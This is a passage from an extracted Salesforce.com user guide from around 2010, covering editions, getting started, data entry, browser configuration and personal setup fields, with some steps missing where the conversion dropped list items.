Sales Force User Guide
Sales Force User Guide
Table of Contents
Welcome.............................................................................................................................................1
What's New in Salesforce.com?...........................................................................................................................................................1
Overview...................................................................................................................................................................................2
Getting Started..........................................................................................................................................................................6
Working in Salesforce.........................................................................................................................23
Personal Setup.........................................................................................................................................................................23
Home Tab................................................................................................................................................................................45
Accounts..................................................................................................................................................................................53
Activities..................................................................................................................................................................................91
Contacts................................................................................................................................................................................150
Contact Roles........................................................................................................................................................................171
Contracts...............................................................................................................................................................................174
Custom Object Records........................................................................................................................................................187
Documents............................................................................................................................................................................198
Email.....................................................................................................................................................................................208
List Views..............................................................................................................................................................................219
Notes & Attachments............................................................................................................................................................233
Salesforce Chatter..................................................................................................................................................................238
Salesforce CRM Content......................................................................................................................................................260
Salesforce for Google Apps...................................................................................................................................................292
Search and Tags.....................................................................................................................................................................312
Administering Salesforce..................................................................................................................341
Setting Up Your Organization...............................................................................................................................................341
Company Information...........................................................................................................................................................346
Multiple Currencies...............................................................................................................................................................401
Advanced Currency Management.........................................................................................................................................405
Divisions................................................................................................................................................................................408
Managing Mail Merge Templates.........................................................................................................................................416
Using Letterheads.................................................................................................................................................................420
Managing Email Templates...................................................................................................................................................423
User Management.................................................................................................................................................................443
Security and Sharing.............................................................................................................................................................513
Data Management.................................................................................................................................................................593
Monitoring............................................................................................................................................................................700
Salesforce Mobile..................................................................................................................................................................730
Email Administration............................................................................................................................................................776
Customize.............................................................................................................................................................................788
i
Table of Contents
Critical Updates Console.....................................................................................................................................................1257
Force.com Sites....................................................................................................................................................................1261
Customer Portal..................................................................................................................................................................1306
Selling............................................................................................................................................1716
Account Teams....................................................................................................................................................................1716
Assets...................................................................................................................................................................................1722
Competitors.........................................................................................................................................................................1730
Forecasting...........................................................................................................................................................................1733
Customizable Forecasts.......................................................................................................................................................1740
Opportunities......................................................................................................................................................................1750
Quotes.................................................................................................................................................................................1771
Products...............................................................................................................................................................................1793
Team Selling........................................................................................................................................................................1819
Territory Management........................................................................................................................................................1826
Salesforce for Wealth Management.....................................................................................................................................1854
Relationship Groups............................................................................................................................................................1863
Salesforce CRM for Outlook..............................................................................................................................................1881
Connect for Outlook...........................................................................................................................................................1914
Connect for Lotus Notes.....................................................................................................................................................1942
Connect for Office..............................................................................................................................................................1969
Connect Offline...................................................................................................................................................................1976
Mail Merge..........................................................................................................................................................................1998
Marketing......................................................................................................................................2004
Campaigns...........................................................................................................................................................................2004
Leads...................................................................................................................................................................................2052
Salesforce for Google AdWords..........................................................................................................................................2074
Analytics........................................................................................................................................2087
Reports................................................................................................................................................................................2087
Dashboards..........................................................................................................................................................................2178
Report Types.......................................................................................................................................................................2207
Analytic Snapshots..............................................................................................................................................................2218
ii
Table of Contents
Providing Support..........................................................................................................................2233
Call Center..........................................................................................................................................................................2233
Cases....................................................................................................................................................................................2274
Case Teams..........................................................................................................................................................................2305
Portals..................................................................................................................................................................................2317
Solutions..............................................................................................................................................................................2319
Salesforce Knowledge..........................................................................................................................................................2341
Console................................................................................................................................................................................2364
Ideas....................................................................................................................................................................................2375
Answers...............................................................................................................................................................................2390
Entitlement Management...................................................................................................................................................2402
Partner Selling...............................................................................................................................2460
Salesforce to Salesforce........................................................................................................................................................2460
Connection Finder..............................................................................................................................................................2492
Partners................................................................................................................................................................................2496
Partner Portal......................................................................................................................................................................2500
More Resources..............................................................................................................................2548
FAQ.....................................................................................................................................................................................2548
Printable Tip Sheets & User Guides...................................................................................................................................2626
Accessibility.........................................................................................................................................................................2630
Salesforce Online Help Glossary.........................................................................................................................................2636
Checkout.......................................................................................................................................2667
Index...............................................................................................................................................................................................2671
iii
Table of Contents
iv
WELCOME
Past Releases
For information about new features introduced in previous releases, see:
• Spring '10 Release Notes
• Winter '10 Release Notes
• Summer '09 Release Notes
• Spring '09 Release Notes
• Winter '09 Release Notes
• Summer '08 Release Notes
• Spring '08 Release Notes
• Winter '08 Release Notes
• Summer '07 Release Notes
• Spring '07 Release Notes
• Force.com Mobile 7.0 for BlackBerry Release Notes
• Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
• Winter '07 Release Notes
• Summer '06 Release Notes
• Winter '06 Release Notes
• Force.com Mobile 6.0 Release Notes
• Summer '05 Release Notes
• Winter '05 Release Notes
• Summer '04 Release Notes
• Spring '04 Release Notes
• Winter '04 Release Notes
• Summer '03 Release Notes
1
Overview Introduction
OVERVIEW
Introduction
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.
Welcome to the award-winning cloud-computing provider designed for you to manage your customer relationships, integrate
with other systems, and build your own applications. Salesforce.com includes the following products and services:
Salesforce.com Applications
Salesforce.com includes prebuilt applications for customer relationship management (CRM) ranging from sales force
automation to partner relationship management, marketing, and customer service.
Force.com Platform
The Force.com platform is the first platform as a service (PaaS), enabling developers to create and deliver any kind of
business application entirely on-demand and without software. The platform also includes easy-to-use, point-and-click
customization tools to help you create solutions for your unique business requirements, without any programming
experience.
AppExchange
AppExchange is a marketplace featuring hundreds of cloud applications created by salesforce.com customers, developers,
and partners. Many of the applications are free and all of them are pre-integrated with Salesforce.com, enabling you to
easily and efficiently add functionality.
Salesforce.com Community
Salesforce.com provides training, support, consulting, events, best practices, and discussion boards to help you be
successful. Visit Salesforce.com Community.
See Also:
What Is an Edition?
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
2
Overview What Is an Edition?
What Is an Edition?
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.
Salesforce.com offers several bundles of its products and services, each geared toward a different set of business needs. These
bundles, called Editions, all have the same look and feel, but vary by feature, functionality, and pricing. For example, a feature
that is available in Professional Edition for an additional fee may be included in Enterprise Edition.
For a comparison chart of Editions and their features, see Selecting the right Salesforce.com Edition.
The online help describes all generally available features, including those that may not be available in your Edition. Refer to
the “Available in:” line at the top of a help topic to see if it applies to your Edition.
See Also:
Introduction
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
Viewing User License Types
Personal Edition
Personal Edition is a CRM solution designed for an individual sales representative or other single user. Personal Edition
provides access to key contact management features such as accounts, contacts, and synchronization with Microsoft Outlook®.
It also provides sales representatives with sales tools such as opportunities. Beginning with the Summer '09 release which
occurred in June 2009, new organizations do not include access to opportunities. Organizations that signed up prior to June
2009 still have access to opportunities.
Contact Manager
Contact Manager is designed for small businesses and provides access to key contact management features including accounts,
contacts, activities, calendars, notes and attachments, and reports. Contact Manager also provides straightforward and easy-to-use
customization options.
3
Overview Group Edition
Group Edition
Salesforce.com Group Edition is designed for small businesses and workgroups with a limited number of users. Group Edition
users can manage their customers from the start of the sales cycle through closing the deal to providing customer support and
service. Group Edition offers access to accounts, contacts, opportunities, leads, cases, dashboards, and reports.
Professional Edition
Salesforce.com Professional Edition is designed for businesses who need full-featured CRM functionality. Professional Edition
includes straightforward and easy-to-use customization, integration, and administration tools to facilitate any small- to
mid-sized deployment.
Enterprise Edition
Salesforce.com Enterprise Edition is designed to meet the needs of large and complex businesses. In addition to all of the
functionality available in Professional Edition, Enterprise Edition organizations get advanced customization and administration
tools that can support large-scale deployments. Enterprise Edition also includes access to the Web services API so you can
easily integrate with back-office systems.
See Also:
Administrator setup guide: Enterprise Edition Upgrade Guide
Force.com API Usage Limits
Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the
entire enterprise through the Force.com platform. Unlimited Edition customers benefit from new levels of platform flexibility
for managing and sharing all of their information on demand.
Unlimited Edition includes all Enterprise Edition functionality plus Premier Support, full mobile access, unlimited custom
apps, increased storage limits, and more.
See Also:
Enterprise Edition
Force.com API Usage Limits
Developer Edition
Developer Edition provides access to the Force.com platform and API. It allows developers to extend the Salesforce.com
system, integrate with other applications, and develop new tools and applications. Developer Edition provides access to many
of the features available with Enterprise Edition.
4
Overview Force.com Free Edition
Salesforce.com does not provide technical support for Developer Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website - developer.force.com. Documentation for
Developer Edition is available from the Technical Library.
See Also:
Force.com API Usage Limits
Force.com Free Edition
Salesforce.com does not provide technical support for Free Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website—developer.force.com.
See Also:
Developer Edition
5
Getting Started Getting Started with Salesforce.com
GETTING STARTED
With Salesforce.com, you can enter, organize, and find your important business data. To get started, review these preliminary
steps.
For Administrators
• Review the Admin Fundamentals—Setup and Admin Fundamentals Setup—Customize training courses.
• Set up your Salesforce.com organization.
• Import your company's existing data.
For Developers
• Review the Salesforce.com Fundamentals training.
• Review the Documentation Resources for Force.com Developers.
See Also:
Language Settings Overview
Error Messages
Entering Data
The Salesforce.com Web user interface, Connect Offline, Connect for Outlook, and Connect for Office are available in
multiple languages.
The Salesforce.com Web user interface has two language settings:
6
Getting Started Trial Overview
• Personal language—All on-screen text, images, buttons, and online help display in this language. Edit your personal
information to change this setting.
• Default organization language—This applies to all new users until they select their personal language. This setting also
determines the language in which all customizations—such as custom fields, tabs, and user interface options—are stored.
For customizations, users' personal language settings don't override this default setting. Some setup items that are manually
entered by an administrator can be translated in the Translation Workbench.
Administrators can change this setting by editing the company information.
Trial Overview
Available in: All Editions
During your trial, you can evaluate Salesforce.com before you subscribe. Your trial includes:
• Sample data. You can delete sample data or start a new trial.
• Administrator privileges. The person who signed up automatically becomes the administrator. You can add another
administrator when you add more users.
• A variety of Salesforce.com features.
• The ability to subscribe to Salesforce.com.
Note: Features included in your trial may not be available in the Edition you choose to purchase.
If you set up multiple users in your trial and later choose to convert to Personal Edition, all users except the original
system administrator will be deactivated.
See Also:
Adding or Subtracting User Licenses
When you sign up for Salesforce.com, your organization is initially populated with some sample data. During your trial period,
administrators can delete all of this sample data plus all of your organization’s data at one time.
To delete all of the existing data in a trial organization:
7
Getting Started Trial Overview
1. Click Setup ➤ Data Management ➤ Delete All Data. This link is available only during your trial period.
2. Enter the requested text stating that you understand that all of the data in your organization will be deleted. This includes
both sample data and data you have entered. Your user and administration setup is not affected.
3. Click Submit.
After your trial period has ended, you can delete any sample data manually or with the Mass Delete feature.
See Also:
Trial Overview
Starting a New Trial
When you sign up for Salesforce.com, you can choose an industry-specific template with sample data. During your trial period,
you can start a new trial with a blank template. To start a new trial, you must abandon your current trial, including all data
and customizations.
You can start a new trial if you have:
1. Click Setup ➤ Data Management ➤ Start a New Trial. This link is available only during your trial period.
2. Select your language and template preferences.
3. Enter the requested text stating that you want to abandon your current trial organization and all of its data. This includes
both sample data and data you have entered.
4. Check the box to confirm that all of your current trial data will be lost.
5. Click Submit.
6. When the confirmation page appears, click Submit.
8
Getting Started Troubleshooting Login Issues
Note: By choosing to start a new trial, you are abandoning your current trial organization including all existing data
and customizations. You will no longer be able to access the trial or data. Only usernames will be preserved.
See Also:
Trial Overview
Deleting Trial Data
Password policies determine how many failed logins are allowed, how long the lockout period lasts, and password requirements
such as minimum length.
Note: If your session is inactive for a period of time, the system prompts you to continue working or log out. If you
don't respond to this time-out prompt, the system displays a login page. See Monitoring Setup Changes on page 578
for instructions on disabling this prompt.
Navigating
Available in: All Editions
You can navigate between pages and select options using standard text and button links.
On any detail page you can click the Back to List: link to return to your most recently viewed list page. The kind of list that
you will be returning to is appended after the colon. For example, if the last list page you viewed was the 'D' page of the “All
Accounts” view, clicking Back to List: Accounts returns you to that page of the “All Accounts” view. Alternately, if your most
recently viewed list page was a list of cases, then the link would be Back to List: Cases. The link isn't available if you haven't
yet viewed any list pages in your current session.
9
Getting Started Entering Data
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions.
See Also:
About the Sidebar
Navigating Long Lists
Entering Data
Available in: All Editions
Entering data in Salesforce.com is much like entering data in any Web page. You can enter data in any of the tabs, or you can
import data.
Note the following:
See Also:
Entering Dates and Times
Entering Currency
Entering Phone Numbers
Selecting Picklist Values
Many fields allow you to enter a date or a time in the format specified by your Locale setting. For more information about
these formats, see What format is used for dates, times, and names in Salesforce.com? on page 2563.
To enter a time, do one of the following:
• Click the link next to the field on the edit page to enter the current time.
• Manually enter a time in the format allowed by your Locale setting.
To enter a date:
10
Getting Started Entering Data
All dates display with four digits for the year, although you can enter two or four digits according to these guidelines.
Examples are shown in the English (United States) locale:
• Enter two digits from 00 to 59 for years 2000 - 2059, for example, 12/30/40 is saved as December 30, 2040
• Enter two digits from 60 to 99 for years 1960 - 1999, for example, 12/30/60 is saved as December 30, 1960
• Enter four digits for any year from 1700 to 4000
If the field is a date/time field, the time is set to the current time. These literal date values are not case sensitive.
11
Getting Started Entering Data
Tip: You can set these literal date values using the first three letters. For example, yes for yesterday or mon for
Monday.
See Also:
Entering Data
Entering Currency
Entering Phone Numbers
Selecting Picklist Values
Entering Currency
Available in: All Editions
In currency fields such as Quota or Annual Revenue, the Currency Locale setting in your Company Information
determines the format and currency type of amounts you enter. For Group, Professional, Enterprise, and Unlimited Edition
organizations that use multiple currencies, the format and currency type is determined by the Currency field in the record.
When you enter a monetary amount (or any other type of number), you can use the shortcuts k, m, or b to indicate thousands,
millions, or billions. For example, when you enter 50k it displays as 50,000. However, these shortcuts do not work for filter
criteria.
See Also:
Entering Data
Entering Dates and Times
Entering Phone Numbers
Selecting Picklist Values
Managing Multiple Currencies
12
Getting Started Entering Data
When you enter phone numbers in various phone fields, Salesforce.com preserves whatever phone number format you enter.
However, if your Locale is set to English (United States) or English (Canada), ten-digit phone numbers and eleven-digit
numbers that start with “1” are automatically formatted as (800) 555-1212 when you save the record. If you do not want
this formatting for a ten- or eleven-digit number, enter a “+” before the number, for example, +49 8178 94 07-0.
Note: If your ten- and eleven-digit phone numbers have Salesforce.com’s automatic format, you may need to enter
the parentheses when specifying filter conditions in areas such as custom reports, custom views, and lead assignment
rules, for example, “Phone starts with (415).”
See Also:
Entering Data
Entering Dates and Times
Entering Currency
Selecting Picklist Values
See Also:
Entering Data
Entering Dates and Times
Entering Currency
Entering Phone Numbers
13
Getting Started Entering Data
Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the
record's edit page first.
To enable inline editing for your organization, see Customizing User Interface Settings on page 1247.
To edit a record using inline editing:
1. Hover your mouse over the field you want to change:
2. Double-click the highlighted region next to the field. The field changes to edit mode. Salesforce.com displays compound
fields (such as addresses, first and last names, dependent picklists, and dependent lookups) in a dialog box so that all
portions of the field can be edited.
3. Enter the new value. Press Esc while your cursor is in a field's edit box to revert a change for that field.
4. Click away from the field to confirm your change and continue making edits. If you are editing a field that is not a text
area field, you can also press Enter to confirm your change. Confirmed changes display in bold orange text. To revert a
change, click next to the field.
5. Press Enter again or click Save to commit all confirmed changes.
Important: Salesforce.com doesn't save confirmed changes to field values until you commit them by pressing the
Enter key a second time or clicking Save. Navigating away from the page without committing changes cancels
all edits made to the record.
Unsupported Behaviors
• Removing the Edit button from a page layout doesn't prevent users from modifying the record using inline editing. To
prevent users from editing data altogether, administrators should use any combination of sharing rules, field-level security,
page layout field properties, validation rules, profile permissions or Visualforce pages.
• Inline editing isn't available for users with accessibility mode enabled.
• Inline editing isn't available for the following standard checkboxes on case, lead, and account edit pages:
- Case Assignment (Assign using active assignment rules)
- Case Email Notification (Send notification email to contact)
14
Getting Started Entering Data
Special Cases
• Inline editing is available on detail pages for all editable fields on edit pages, except for some fields on tasks, events, price
books, and documents. To edit any of these, navigate to the edit page of a record, change the value of the field desired,
and then click Save. The following table lists the fields that can't be edited on record detail pages and list views. You may
need special permissions to view some of these fields:
Object Fields
All Objects Long text area fields
Opportunities Editable on detail pages but not on list views:
- Amount
- Stage
- Forecast Category
- Quantity
Leads Lead Status (editable on detail pages but not on list views)
Cases Case Status (editable on detail pages but not on list views)
Contracts Contract Status (editable on detail pages but not on list views)
15
Getting Started Accessing Data
Error Messages
While using Salesforce.com, you may occasionally get an error message. Typically, this happens when you try to view, edit,
or delete information to which you don't have access. The message page that displays should explain the reason for the error.
Click your browser’s Back button to return to the previous page. If you feel you have incorrectly received an error, click Help
& Training at the top of any page and select the My Cases tab to submit your issue directly to Customer Support.
Accessing Data
Available in: All Editions
Your administrator can customize many different areas to secure your company's data. Additionally, users in Professional,
Enterprise, Unlimited, and Developer edition organizations can control the access that other users have to their data by sharing
records individually with colleagues.
To determine whether you can access data, review this table:
To view a record: • Make sure you have the “Read” permission on the type of
record you want to view.
• Professional, Enterprise, Unlimited, and Developer Edition
organizations can set a sharing model that determines the
access users have to records they do not own. Depending
on your sharing model, the owner may need to share the
record with you if you are not the owner of the record or
above the owner in the role hierarchy.
• Enterprise, Unlimited, and Developer Edition
organizations can use territory management to grant access
to accounts, opportunities, and cases.
To view a field: • Make sure you have the “Read” permission on the type of
record for the field.
• For Enterprise and Unlimited Edition organizations, check
the field-level security; your field-level security settings
may prevent you from seeing the field.
• Check your page layout; depending on your page layout
settings, you may see some fields and not others.
16
Getting Started Using the Help & Training Window
To view a related list: • Make sure you have the “Read” permission on the type of
records displayed in the related list.
• Check your page layout; depending on your page layout
settings, you may see some fields and not others.
To view a button or link: • Make sure you have the necessary permission to perform
the action. Buttons and links only display for users who
have the appropriate user permissions to use them.
The Salesforce.com Help & Training window offers the resources you need to be successful. You can:
• Search returns online help topics, knowledge base solutions, and recommended training classes that include any or
all of your keywords. For example, searching for data loader may return results with just data, just loader, or both
keywords in any order. Items that include more of your keywords are listed higher in results, and items that contain
your keywords as a phrase or near each other are also listed higher.
• Use multiple keywords to narrow your search results. For example, create lead assignment rules returns
more specific results than just assignment rules.
17
Getting Started Using the Help & Training Window
• Commonly used words such as the, about, and, and not are ignored.
• Search wildcards, such as * and ?, and operators, such as AND, OR, and AND NOT, are treated like any other
keyword. For example, searching for outlook AND cases is treated exactly the same as outlook cases.
After you find the answer you need, you can click the Email Page link at the top of the window to send a URL for
the help topic or knowledge base solution to yourself or anyone else.
18
Getting Started Supported Browsers
For more information about the most efficient ways to receive the customer support assistance you need, see the Contacting
Customer Support tip sheet.
Note: Salesforce.com makes every effort to ensure the accuracy of the information contained within the Help &
Training window, but assumes no responsibility or liability for any errors or inaccuracies that may appear. If you do
find any errors, please use the feedback form at the bottom of every help page.
See Also:
Custom Help Overview
Replacing Salesforce.com Online Help
Supported Browsers
Available in: All Editions
Browser Comments
Mozilla Firefox version 3.0 Salesforce.com recommends using Firefox for best performance. For
configuration recommendations, see Configuring Firefox on page 20.
Microsoft® Internet Explorer versions 6.0, 7.0, Salesforce.com strongly recommends using Internet Explorer version 8.0 over
and 8.0 versions 6.0 and 7.0. Apply all Microsoft® hotfixes. For configuration
recommendations, see Configuring Internet Explorer on page 21.
Apple® Safari version 3.2 Supported on Windows XP and Mac OS X version 10.4 and later. There are
no browser setting recommendations for Safari.
Important: For all browsers you must enable JavaScript, cookies, and SSL 3.0.
Certain features in the Salesforce.com online application—as well as some desktop clients, toolkits, and adapters—have their
own browser requirements. For example:
- Salesforce Chatter
- Answers
- Cloud Scheduler
19
Getting Started Supported Browsers
• Safari is not supported for the Salesforce CRM Call Center CTI Toolkit.
• Firefox is recommended for the enhanced page layout editor.
Refer to the documentation for those products for specific information. Other requirements can be found in Salesforce.com
System Requirements.
Configuring Firefox
Available in: All Editions
For best performance, salesforce.com recommends using the Mozilla Firefox 3.0 browser.
Required Settings
The following settings are required:
3. Accept cookies:
5. Click OK.
Advanced Settings
Optionally, configure advanced caching preferences to maximize performance:
1. Type about:config in the browser's location bar, and then press Enter.
2. If a warning displays, click I'll be careful, I promise!.
3. Search for the following preferences and set them to the recommended value by double-clicking the preference name.
Changes take effect immediately.
4. Change how the browser retains common resources across requests by setting the following caching preferences.
20
Getting Started Supported Browsers
Note: You can set some of these preferences by clicking Tools ➤ Options in the Firefox browser. Refer to
Firefox Help for details.
Tip: Setting privacy.sanitize.sanitizeOnShutdown to “True” causes the cache to clear when Firefox shuts down. This
increases privacy, but may decrease performance.
To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.
Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other
preferences.
See Also:
Supported Browsers
Salesforce.com supports the use of Microsoft® Internet Explorer versions 6.0, 7.0, and 8.0. However, for better performance,
salesforce.com strongly recommends version 8.0 over the other supported versions.
To maximize the performance of Internet Explorer, set the following options in the Internet Options dialog box, which you
can open by clicking Tools ➤ Internet Options:
General Tab
1. From the General tab, click Settings under Browsing History (Temporary Internet Files for version 6.0).
2. For the Check for newer versions of stored pages option, select Automatically.
3. For the Disk space to use option (Amount of disk space to use in version 6.0), enter at least 50 MB.
Security Tab
1. From the Security tab, click Custom Level under Internet and scroll to the Scripting section.
21
Getting Started Supported Browsers
2. Make sure the Active Scripting option is enabled. JavaScript depends on this setting being enabled.
Privacy Tab
Advanced Tab
From the Advanced tab, scroll to the Security section and do the following:
Tip: The Empty Temporary Internet Files folder when browser is closed option causes the
cache to clear when Internet Explorer is shut down. This increases privacy, but may decrease performance.
See Also:
Supported Browsers
22
WORKING IN SALESFORCE
PERSONAL SETUP
The Personal Setup page, accessed by clicking Setup, contains setup and customization options to help you personalize the
application for your personal use.
My Personal Information
Expand the My Personal Information folder under Personal Setup to access the following options:
• Personal Information—Edit your user information, create quotas, view login history, and more (see Editing Your Personal
Information on page 24).
• Change My Password—Change your password (see Changing Your Password on page 35).
• Reset My Security Token—Reset the security token that you may need to log into Salesforce.com from outside your
company's trusted network (see Resetting Your Security Token on page 37).
• My Groups—Add, update, or delete your personal groups (see About Groups on page 495).
• Change My Display—Customize your display of tabs and related lists (see Customizing Your Display on page 34).
• Grant Login Access—Allow salesforce.com Customer Support representatives or your administrator to log in to your
account (see Granting Login Access on page 26).
• Calendar Sharing—Allow other users, personal and public groups, roles, or roles and subordinates to view your calendar
(see Granting Access to Your Calendar on page 40).
• Reminders—Set your personal preferences for activity reminders (see Setting Reminders on Activities on page 102).
• Record Type Selection—Set your preferences for automatic selection of default record types (see Setting Record Type
Preferences on page 41).
Email
Expand the Email folder under Personal Setup to access the following options:
• My Email Settings—Set your outbound email settings (see Editing Email Settings on page 39).
• My Templates—Create and edit your own email templates (see Managing Email Templates on page 423).
• My Stay-in-Touch Settings—Set your preferences for emails requesting contact information updates (see Editing
Stay-in-Touch Settings on page 39).
23
Personal Setup Editing Your Personal Information
Import
Expand the Import folder under Personal Setup to access the following options:
• Import My Accounts & Contacts—Import accounts and contacts that you own (see Import My Contacts on page 649).
• Import My Person Accounts—Import person accounts that you own. Note that your administrator may have customized
the text of this link.
Desktop Integration
Expand the Desktop Integration folder under Personal Setup to access the following options:
• Check for Updates—See what desktop client versions you have and install updates (see Checking for Desktop Client
Updates on page 43).
• Connect for Outlook—Download the Outlook integration plug-in (see Using Connect for Outlook on page 1918).
• Connect for Office—Install Connect for Office to integrate your data with Microsoft® Word and Excel (see Force.com
Connect for Microsoft Office® Overview on page 1969).
• Connect Offline—Install Connect Offline to work remotely when you are not online (see Force.com Connect Offline
Overview on page 1976).
• Connect for Lotus Notes—Download the Connect for Lotus Notes integration plug-in (see Force.com Connect for Lotus
Notes Overview on page 1942).
To update your personal information, click Setup ➤ My Personal Information ➤ Personal Information. Administrators
can edit any user’s information as described in Editing Users on page 447.
From the personal information page, you can change the following:
24
Personal Setup Editing Your Personal Information
• Default Sales Team—Set up your default sales team. See Setting Your Default Sales Team on page 1821.
• Default Account Team—Set up your default account team. See Setting Up Your Default Account Team on page 1718.
• Login History—Administrators can view the user’s last ten successful and failed login attempts.
• Public Group Membership—Lists the public groups to which you belong, as determined by your administrator.
• Managers in the Role Hierarchy—Lists the users above you in the role hierarchy, as defined by your administrator. See
Managers in the Role Hierarchy on page 26.
• Territories—Lists the territories to which you are assigned. See Managing Users in Territories on page 1838.
• Assigned Mobile Devices—Lists the mobile device from which you activated Salesforce Mobile for your Salesforce.com
account. See Managing Mobile Devices on page 768.
• Remote Access—Lists the remote access applications that you have granted access to.
See Also:
Personal Setup Overview
Changing Your Default Division
Granting Login Access
User Fields
See Also:
Editing Your Personal Information
25
Personal Setup Editing Your Personal Information
In order to assist you, your administrator or a salesforce.com Customer Support representative may need to log in to the
application using your login. You must grant access for them and specify a deadline for that access. During the effective access
period, they will be able to use your login and access your data in order to help you resolve any problems.
To grant login access:
No one can log in to your account to resolve support issues unless you grant access in this way.
See Also:
Logging In as Another User
Editing Your Personal Information
The Managers in the Role Hierarchy related list shows all of the users above you in the hierarchy. These users have the same
access to your data as you do—they have access to all data you own or that has been shared with you.
To view this related list, click Setup ➤ My Personal Information ➤ Personal Information, and scroll down to the related
list.
See Also:
Managing Roles
Editing Your Personal Information
26
Personal Setup Editing Your Personal Information
User Fields
The available fields vary according to which Salesforce.com Edition you have.
A user's personal information page has the following fields, listed in alphabetical order. Some of these fields may not be visible
or editable depending on your profile or edition.
Field Description
Accessibility Mode Checkbox that enables or disables a user interface mode
designed for visually-impaired users. See Enabling Accessibility
Mode on page 2634.
Active Administrative checkbox that enables or disables user login
to the service.
Address Street address for user. Up to 255 characters are allowed in
this field.
Admin newsletter Opt in to receive administrator-targeted promotional emails
from salesforce.com. This field is not available if your
organization has disabled your choice to receive emails from
salesforce.com.
Alias Short name to identify user on list pages, reports, and other
pages where the entire name does not fit. Up to eight
characters are allowed in this field.
Allow Forecasting Indicates whether the user is allowed to use customizable
forecasting or not. See Enabling Users for Customizable
Forecasting on page 1089.
Api Token Indicates whether or not an API token has ever been reset.
Salesforce.com uses this field to help you troubleshoot issues
related to API tokens if issues should occur.
Call Center The name of the call center to which this user is assigned. See
Managing Call Center Users on page 2266.
Checkout Enabled Indicates whether the user is notified by email when his or
her Checkout account is activated and available for login.
You must have “Manage Billing” permission to enable.
27
Personal Setup Editing Your Personal Information
Field Description
Community Nickname Name used to identify this user in a community. Up to 40
alphanumeric characters are allowed; standard users can edit
this field.
Company Company name where user works. Up to 40 characters are
allowed in this field.
Contact Name of the associated contact if the user is a partner user.
Country Country portion of user’s address. Up to 40 characters are
allowed in this field.
Created By User who created the user including creation date and time.
(Read only)
Currency User’s default currency for quotas, forecasts, and reports.
Shown only in organizations using multiple currencies. This
must be one of the active currencies for the organization.
Custom Links Listing of custom links for users as set up by your
administrator.
Default Currency ISO Code User's default currency setting for new records. Available only
for organizations that use multiple currencies.
Default Division Division that is applied, by default, to all new accounts and
leads created by the user, unless he or she explicitly sets a
different division. When users create records related to an
account or other record that already has a division, the new
record is assigned to the existing record’s division; the default
division is not used.
This setting does not restrict the user from viewing or creating
records in other divisions. Users can change their division at
any time.
Available only in organizations that use divisions to segment
their data.
Delegated Approver User lookup field used to select a delegate approver for
approval requests. Depending on the approval process settings,
this user can also approve approval requests for the user.
Department Group that user works for, for example, Customer Support.
Up to 80 characters are allowed in this field.
Development Mode Enables development mode for creating and editing
Visualforce pages.
This field is only visible to organizations that have Visualforce
enabled..
28
Personal Setup Editing Your Personal Information
Field Description
Disable Auto Subscription For Feeds Disables automatic feed subscriptions to records owned by a
user. Only available in organizations with Salesforce Chatter
enabled.
Division Company division to which user belongs for example, PC
Sales Group. Up to 40 characters are allowed in this field.
Email Email address of user. Must be a valid email address in the
form: jsmith@acme.com. Up to 80 characters are allowed in
this field.
Email Encoding Character set and encoding for outbound email sent by user
from within Salesforce.com. ISO-8859-1 represents all Latin
characters and should be used by English-speaking users.
UTF-8 (Unicode) represents all characters for all of the world’s
languages, but is not supported by some older email software.
Shift_JIS, EUC-JP and ISO-2022-JP are useful for
Japanese users.
Employee Number Identifying number for a user.
End of day Time of day that user generally stops working. Used to define
the times that display in the user’s calendar.
Fax Fax number for user.
Federation ID The value used to identify a user for federated authentication
single sign-on. For more information, see Configuring SAML
Settings for Single Sign-On on page 559.
First Name First name of user, as displayed on the user edit page. Up to
40 characters are allowed in this field.
Information Currency The default currency for all currency amount fields in the user
record. Available only for organizations that use multiple
currencies.
Knowledge User Administrative checkbox that grants a user access to Salesforce
Knowledge. The user's profile determines whether he or she
has access to the Article Management tab, Articles tab, or
both.
Language The primary language for the user. All text and online help is
displayed in this language. In Professional, Enterprise, and
Unlimited Edition organizations, a user’s individual Language
setting overrides the organization’s Default Language.
Not available in Personal Edition, Contact Manager, or Group
Edition™. The organization’s Display Language applies
to all users.
29
Personal Setup Editing Your Personal Information
Field Description
Last Name Last name of user, as displayed on the user edit page. Up to
80 characters are allowed in this field.
Locale Country or geographic region in which user is located.
The Locale setting affects the format of date, date/time, and
number fields, and the calendar. For example, dates in the
English (United States) locale display as 06/30/2000 and as
30/06/2000 in the English (United Kingdom) locale. Times
in the English (United States) locale display using a
twelve-hour clock with AM and PM (for example, 2:00 PM),
whereas in the English (United Kingdom) locale, they display
using a twenty-four-hour clock (for example, 14:00).
The Locale setting also affects the first and last name order
on Name fields for users, leads, and contacts. For example,
Bob Johnson in the English (United States) locale displays as
Bob Johnson, whereas the Chinese (China) locale displays the
name as Johnson Bob.
For Personal Edition users, the locale is set at the organization
level via Setup ➤ Company Profile ➤ Company
Information. For all other users, their personal locale, available
at Setup ➤ My Personal Information ➤ Personal
Information, overrides the organization setting.
Manager Lookup field used to select the user's manager. This establishes
a hierarchical relationship, preventing you from selecting a
user that directly or indirectly reports to itself.
This field is especially useful for creating hierarchical workflow
rules and approval processes without having to create additional
hierarchy fields.
Note: Unlike other hierarchy fields, Salesforce.com
allows you to inactivate users who are referenced in
the Manager field.
Marketing User Checkbox that indicates whether user has access to create,
edit, and delete campaigns and configure advanced campaign
setup.
In order to use the campaign import wizards, Marketing Users
must also have the Marketing User profile (or the “Import
Leads” permission and the “Edit” permission on campaigns
in Enterprise and Unlimited Edition organizations).
30
Personal Setup Editing Your Personal Information
Field Description
Mobile User Allocates one Salesforce Mobile license to the user, granting
the user access to Salesforce Mobile capabilities. The number
of user records with this checkbox enabled cannot exceed the
total number of mobile licenses your organization has.
The Mobile User checkbox is enabled by default for Unlimited
and Developer Edition users. To prevent users from activating
Salesforce.com on their mobile devices before you are ready
